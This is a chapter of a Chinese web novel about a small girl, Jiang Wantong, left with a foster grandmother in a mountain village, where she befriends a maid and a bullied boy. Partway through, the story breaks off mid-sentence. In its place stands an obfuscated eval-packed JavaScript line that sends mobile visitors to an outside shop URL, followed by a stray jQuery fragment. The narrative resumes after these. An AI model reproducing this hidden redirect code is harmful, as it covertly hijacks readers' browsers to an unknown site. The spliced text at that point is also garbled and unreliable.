彼时三岁多的江晚桐只觉得去茫崖村的路难走了些。
却不知那是她一生沉浮真正的开端。
马车天不亮出城，走到日照当空，翻了好几座山头，那村子还是不见踪影。
山路坑坑洼洼，车轮动不动陷进泥坑，车夫下去推一次骂一声，骂完了再走。
小晚桐窝在父亲江明远怀里，脑袋一点一点往下栽。
平日这时候她已经在香香地午睡了，可马车太颠，总也睡不踏实。
刚将将入梦，车轮碾过一块石头，又把她颠醒了。
她倒也没哭，迷迷糊糊眨眨眼，看看父亲，又看看窗外，小小的身子软软地往下滑。
“爹爹，还有多久才到喏？”她揉着眼睛，尾音软软糯糯的，还拖着未醒的困意。
江明远把她往上抽了抽，温声道：“快了快了，晚桐莫急，你睡一觉便到了。”
“爹爹骗人，”小晚桐嘟起嘴，“一个时辰前你便说快了。”
江明远一时无言以对。
对面的宋芸华淡淡瞧他一眼，这么大个人连个三岁孩童都糊弄不住。
江明远讪讪笑了笑，低头对女儿说：“这回当真快了，过了前面那道山梁便到。”
小晚桐扒着车窗往外瞧，除了山还是山，半个人影也看不见。
她泄气地缩回脑袋，奶声奶气地抱怨：“爹爹就会哄我，我不信你了。”
没过多久她又坐不住了，在江明远怀里扭来扭去，小手拽着他衣襟，瓮声道：“爹爹，我要吃糕。”
“马车上如何吃？等到了奶奶家再吃罢。”
“不嘛，肚子都叫了，不信你听。”
她把小肚子挺了挺，又凑到他耳边悄悄说，“早上出门，厨房刘婶婶偷偷塞了一包桂花糕在我包袱里，我瞧见了的。”
江明远下意识看向宋芸华，宋芸华没出声，算是默许了。
他翻出那包糕，油纸裹得严严实实，一拆开便散出清甜的香气，将满路风尘冲淡了些。
小晚桐伸手要够，宋芸华先一步接过，递给她一块，叮嘱道：
“只许吃一块，吃多了晚间不吃饭，你奶奶该说我没教好你了。”
小晚桐接过糕，像猫儿一样咬了一小口，含含糊糊嗯了一声。
她有些怕母亲，虽然母亲从不打她，也很少高声说话，可身上就是有一种不怒自威的气势，叫她不敢放肆。
爹爹便不一样了，会给她买糖人，会在母亲瞧不见时冲她做鬼脸，还会将她举得高高的转圈圈。
可惜此刻母亲就坐在对面，爹爹也不敢太明目张胆地惯她。
一块糕吃完，她舔舔手指，偷偷去瞧母亲。
母亲正望着窗外，侧脸映着天光，清清冷冷的，好看得像画上的仙女。
小晚桐心想：母亲生得这样貌美，自己长得这么可爱，一定是随了母亲。
想到此处，她便害羞地把脸埋进江明远胸口，闷声闷气地问：“奶奶家好玩么？”
“可好玩了，有山，有小溪，奶奶还会做槐花糕。”
“比桂花糕好吃？”
“那是自然。”
“奶奶凶不凶？”
“当然不凶，我们晚桐人见人爱。”
“比娘好么？”她下意识问。
“咳、咳。”江明远猛地呛了一下，心虚地看了眼夫人，没敢接话。
宋芸华的目光落在女儿身上，还没说什么，江晚桐立刻把头埋得更深，只露一个后脑勺和两只小揪揪上的红头绳，小声嘟囔：
“我什么都没说，娘亲什么都没听到。”
大约又过了一盏茶工夫，车夫在外头喊：
“老爷夫人，到了！”
江晚桐立刻从爹爹怀里蹦起来，扒着车窗望出去。
她看见一棵树。
好大好大，比她家门口那棵枣树大了不知多少，树干粗得几个人都抱不住。
枝叶铺展开，遮住了好大一片天。
正值花开时节，满树白花串串垂着，风过时簌簌飘落，同下雪一般。
花瓣细细碎碎，落在泥地上，落在草叶间，落在人的肩头，落出一种不动声色的温柔。
“哇，爹爹你瞧，这树好大好漂亮呢！”
树底下站着个老妇人，一身青布衣裳，头发梳得一丝不苟，挽着简单的发髻。
“干娘。”宋芸华下了车，理过衣襟，端端正正行了个礼。
老妇人笑着点头，目光越过她，落在马车里那个探着脑袋、满眼好奇的小姑娘身上。
“这便是晚桐吧？”
宋芸华转身将女儿抱下车，柔声道：“叫奶奶。”
“晚桐呐，我是奶奶，你也可以叫我开花奶奶。”老妇人微微弯下腰，声音温和，不急不缓。
小晚桐歪着头打量这张陌生却温暖的面孔。
开花奶奶的眼睛亮亮的，里面好像盛着小星星。
“开花奶奶？”她奶声奶气重复了一遍，忽然问，“那你会开花么？”
开花奶奶怔了怔，随即笑意从眼角漾开：
“奶奶可不会开花，但奶奶种的花，都会开。”
“院里月季、栀子都有，还有一株腊梅，须得冬日才开。”
“等冬日到了，奶奶带你去看。”
小晚桐认真想了想，乖乖点了点头。
“爹爹，拿我的包袱！”
她忽然想起什么，从母亲怀里挣下来，跑到马车边踮着脚去够车厢里的包袱。
江明远帮她取出来，她从里面翻出那包只吃了一块的桂花糕，又跑回来，高高举到开花奶奶面前。
“奶奶，你吃！我家刘婶婶做的，可好吃了！”
开花奶奶低头瞧着那包压得有些碎的桂花糕，笑着拈了一小块放进嘴里，赞道：
“真好吃，谢谢小晚桐哟。”
小晚桐开心极了，扭头朝江明远喊：“爹爹，奶奶说好吃！”
江明远站在马车旁，笑着点头，眼眶却有些发红。
他望着女儿那副浑然不觉的欢喜模样，心里像被什么东西轻轻揪了一下。
“走啊，娘！”她又跑到宋芸华跟前，拽着母亲的手，“我们一起去奶奶家！”
宋芸华俯下身子，摸了摸那只软绵绵的小手，声音比平日温和了许多：
“晚桐去吧，娘要回去了。你乖乖跟着奶奶，娘过些日子来看你。”
“过些日子？是明日还是后日？”小晚桐仰着脸，固执地问。
宋芸华答不出，没吭声。
小晚桐转头去问江明远：“爹爹也不要晚桐了么？”
江明远走过来，蹲下将她抱起，声音里全是不舍：
“爹爹还有公务，要和你娘一同回去。”
江晚桐看看父亲，又看看母亲，嘴巴瘪了起来，眼圈开始红了。
出门这半日她一直没哭，路上新鲜事太多，忙着看景、吃糕、同爹爹撒娇，没空想别的。
但此刻，她真切地意识到爹娘要走了，要把她一个人丢在这里。
巨大的悲伤瞬间淹没了她，像潮水一样，无声漫过头顶。
“我不要一个人在这里！”她哭着喊道。
“晚桐不是一个人。”
江明远心疼地摸摸她的脸，“奶奶陪着你，还有阿檀，她明日便到，来与你作伴。”
“我不要奶奶，我要爹爹！”
小晚桐终于忍不住了，眼泪大颗大颗滚落下来，滴在江明远脖颈上，烫烫的。
她紧紧搂着他的脖子，死活不肯撒手，哭得上气不接下气：“爹爹不要走！不要走！”
江明远紧紧搂住她，喉结滚动，半个字也说不出来。
宋芸华别过头站在一旁，眼中也是亮晶晶的。
过了好一阵，江晚桐哭累了，声音才渐渐小了些。
江明远闭了闭眼，强笑着将女儿放下，道：“桐儿乖，爹爹同你保证，过些日子便来看你。”
“上回你还保证带我去看花灯，到现在也没去。”
江晚桐抽泣着反驳。
宋芸华走过来，蹲下身子，用帕子替她擦脸。
“晚桐听话，爹和娘将你送来此处，不是不要你，是想让你过得更好，学一身本事。”
她将手中那方帕子叠好塞进女儿手里，“这个给你，想娘的时候，便拿出来瞧瞧。”
帕子是素白的，角落绣了一朵小小的梅花，针脚细密。
江晚桐紧紧攥着帕子，眼泪还在淌，哭声却小了。
“娘，你们何时来看我？”
宋芸华抬起头，望向那棵满树繁花的老槐树。
阳光透过花叶的缝隙洒下斑驳光影。
她回过头，轻声道：“等槐花再开的时候。”
江晚桐不晓得槐花何时再开，反正她会一直等。
马车走了。
车轮声渐远渐轻，转过山梁，便什么也听不见了。
江晚桐站在院门口，望着马车消失的方向，小手攥着帕子，脸上还挂着泪。
开花奶奶立在她身后，没有多说什么，只是伸手摸了摸她的头，然后把她轻轻搂进怀里，拍拍她的背。
过了许久，晚桐转过身来，鼻头红红的，眼里还汪着泪，却已不哭了。
她抬起头，用有些沙哑的声音问：“开花奶奶，你这里有好吃的么？”
开花奶奶低头看她，终于笑了：“有，奶奶早上蒸了槐花糕，吃不吃？”
“吃的。”她乖巧地点了点头。
那日小晚桐一口气吃了三块槐花糕。
糕软软的，甜甜的，带着一股清雅的槐花香，她觉得比桂花糕还要好吃。
吃饱后又饮了一碗蜜水，便靠在奶奶胳膊上打起了哈欠。
“困了？”
“嗯。”
奶奶将她抱到屋里的小床上。
被褥是新晒过的，还存着一股太阳的气息。
她把母亲给的那方帕子拿出来，小心翼翼地放在脸旁，小小声问：“奶奶，槐花何时再开？”
“明年此时。”奶奶轻轻拍着她。
“那样久……”她嘟囔着。
“不久，”开花奶奶的声音很轻，也很肯定，“一眨眼便到了。”
江晚桐将帕子贴在脸上，上头还有淡淡的娘亲的味道，像腊梅的冷香，若有若无。
她阖上眼，喃喃道：“那我便等槐花开，等爹爹和娘亲来。”
开花奶奶在床边坐了片刻，替她拨开额前碎发，望着那张似曾相识的稚嫩小脸，轻轻叹了口气。
那声叹息落在暮色里，风一吹便散了。
翌日清早，阿檀便到了。
她比晚桐稍大些，一张圆圆的小脸有两个浅浅的酒窝，头顶两个小揪揪，还未进院便喊上了：
“小姐！小姐！”
叽叽喳喳的，像只欢快的雀儿。
江晚桐正蹲在院中看蚂蚁搬家，闻声抬头，打量着这个冒冒失失的小丫头。
“你是何人？”
“我叫阿檀！”
她跑进来，险些被门槛绊倒，站稳了笑嘻嘻行了个不怎么标准的礼，“夫人让我来陪小姐的！”
江晚桐见她生得瘦瘦小小，比自己也大不了多少，便问：“你敢抓蚂蚁么？”
“敢！如何不敢！”阿檀立刻来了精神。
“那你帮我，这只跑得太快，我抓不着。”
阿檀立刻蹲下，撸起袖子便加入了战局。
两个小丫头在院中蹲了一上午，抓了放，放了抓，把蚂蚁折腾得不轻。
开花奶奶从灶房探头瞧了一眼，见两个小小的身影凑在一起叽叽咕咕说着话，笑着摇了摇头。
大半月过去，晚桐和阿檀便将茫崖村混熟了。
村口有条小溪，浅处只没过晚桐的小腿，村童们都爱去那儿摸鱼踩水。
江晚桐头一回去还端着城里小姐的架子，穿着干净的绣花布鞋，只肯站在岸上看阿檀玩。
看了两回便也忍不住了，脱了鞋挽起裤腿，和阿檀一同下去。
村后还有片野林子，尽是些叫不出名的果树，果子小且酸。
村里的孩子们不在乎，摘了便往嘴里塞。
晚桐也跟着学，酸得整张脸皱成一团，阿檀笑得险些从树上栽下来。
在一众孩童中，江晚桐最喜同王铁柱玩。
王铁柱比她大一岁，黑黑瘦瘦，眼睛却出奇的亮，笑起来一口白牙。
小晚桐觉着他顶老实，旁人抢他东西他也只是无所谓地笑笑，但独独不能提他爹，一提便急，拼命的架势都有。
头回见他是在溪边。
他一个人蹲在那儿，闷头往水里扔石子，那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533598|203756||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
背影小小的，落在溪光山色里，显得格外孤单。
小晚桐走过去问：“你叫什么？”
那孩子抬头看她一眼，又继续扔石子儿。
“王铁柱。”
“我叫江晚桐，你怎的不跟我们一起玩？”
王铁柱没说话。
阿檀在一旁插嘴道：“小姐，听说他爹是逃兵，村里孩子都不跟他玩。”
王铁柱扔石子儿的手猛地停了，随即用力把石子砸向水面，“咚”得好大一声。
江晚桐吓了一跳，看看他，又看看阿檀，不解地问：“什么叫逃兵？”
“就是打仗时怕死跑掉的人，村里人都这么说。”
江晚桐“哦”了一声，又蹲回去，直愣愣地问：“你爹为何要跑？”
王铁柱终于不扔石子儿了。
他转过头瞪着晚桐，像一只被激怒的小兽：“我爹才没有跑！”声音不大，却硬得很，“他们瞎说！”
“那他们为何这般说？”
“不知道！”
江晚桐想了一会儿，没想出个所以然，便不想了。
她从地上捡起一块扁扁的小石头递给铁柱，换了个话题：
“你会打水漂么？”
“爹爹教过我，你瞧着，要这样横着扔才远。”她用小胳膊奋力比划着，像只笨拙的小鸭子。
铁柱瞧着，紧绷的脸松了松，觉得有些好笑。
他接过小石头学着比划了一下。
石头飞出去，在水面跳了两跳，才沉下去。
“哇，你真厉害！”江晚桐兴奋地鼓了鼓掌，“我到现在都只能打一个，你教我！”
王铁柱看着她，那双黑亮的眼睛里充满了不解和一丝难以置信的惊喜：“你……让我教你？你当真愿意同我玩？”
“愿意呀，你打水漂比我厉害。”
“不怕旁的孩子不同你玩了？”
“才不怕，横竖阿檀会陪着我的，对吧阿檀？”
她站起来拍了拍裙子上的土，一副满不在乎的样子。
一旁的阿檀赶忙点点头。
自那日起，江晚桐走到哪儿，王铁柱便跟到哪儿。
也不怎么说话，就只是跟着。
她踩水，他就在岸上给她看鞋。
有次她被村尾的大鹅追，他从一旁跑过来，毫不犹豫挡在她前头，冲那只鹅用力挥舞着拳头。
那鹅大约没见过这么瘦还敢挑衅它的人，愣了一愣，竟退开了。
“你不怕它叨你？”晚桐从他身后探出脑袋，心有余悸。
“怕。”
王铁柱老实地说，“但我更怕它叨你。你这样小，我得护着。”
江晚桐望着那悻悻走远的大鹅，忽觉这个黑瘦的少年，半点也不怂。
后来一日，晚桐瞧见几个大孩子将王铁柱堵在路上。
领头的是大壮，七岁，比旁人高出大半个头，壮实得像头小牛犊，家里有些钱财，一向是村中孩童里的霸王。
“王铁柱，听说你近来胆子挺大，跟着个小女娃娃跑东跑西？”大壮一把揪住他衣领。
王铁柱被拽得一个踉跄，咬着牙没吭声。
“你爹是逃兵，你还好意思到处跑？”
“我爹不是逃兵！”他红着眼吼道。
“就是！我爹说是那就是！”大壮狠狠推他一把，王铁柱后退两步，撞在土墙上。
“不是逃兵怎会被撵回来？不是逃兵怎无抚恤银？不是逃兵怎的屋顶漏了都无人管？”
“说话！你爹就是逃兵！”
“不是！”王铁柱怒吼一声，像一头被逼到绝境的小狼，猛地朝大壮撞了过去。
可他太瘦了，被大壮轻而易举地又一推，整个人摔在地上，手掌蹭破了皮。
他一声不吭又爬起来，眼里满是倔强和愤怒。
大壮被他的眼神激怒了，挥起拳头便要朝他身上砸去。
“喂，你怎的欺负人！”
一个脆生生的声音从后头传来。
大壮一转头，瞧见小晚桐叉着腰站在几步开外，怀里竟抱着村尾那只大鹅。
那鹅伸着长颈，眼神不善，翅膀扑棱棱地扇动，正是那只见谁叨谁的主儿。
大壮的脸一下子就白了。
“你、你要做甚么？”
“你再推他一下，我便放鹅叨你。”
江晚桐把大鹅放在地上往前推了推。
大鹅极配合地伸长脖子，冲大壮中气十足地“嘎”了一声。
大壮吓得一哆嗦，往后退了一步。
“你……你疯了！”
“你快些同铁柱赔不是。”
“不赔，我便松手。”
她的语气不容置疑，全不像个三岁多的女娃娃，倒像个发号施令的小将军。
大鹅开始挣扎，江晚桐的胳膊太细，眼看就要按不住了。
大壮脸色变了变，飞快地冲王铁柱道了句“对不住”，转身便跑，几个跟班也一哄而散。
江晚桐一松手，大鹅便扑腾着跑了。
她也累得一屁股坐在地上，大口喘着气。
“你……你从何处弄来的？”王铁柱从地上爬起来，目瞪口呆地看着她。
“村尾呀，特地去抱的。”
她拍拍手上的鹅毛，狡黠地一笑，“上回它追我，我便发觉它格外好用。”
“你不怕它叨你？”
“怕，但我跑得快呀。”
“况且，我还让阿檀喂了它半块饼，如今它同我算是朋友了。”
她站起身，走过去瞧他的手，“呀，流血了。走，找开花奶奶去。”
她不由分说，拉起王铁柱便往家走。
走了一段，王铁柱忽然闷声说：“我爹……当真不是逃兵。”
江晚桐回头看他一眼，理所当然地说：“我晓得呀。”
“你如何知晓？”他愣住了。
她歪着头想了想，说：“逃兵的儿子，才不会挡在大鹅前头。”
说完又拉着他往前走，步伐轻快，两条小揪揪在脑后一甩一甩的。
王铁柱被她拽着，紧紧跟在后面，眼眶泛红，再没说话。
一颗种子却已在他心里悄悄种下。
他自己也说不清是什么，只觉着心里头暖暖的，又酸酸的。
他要好好藏起来。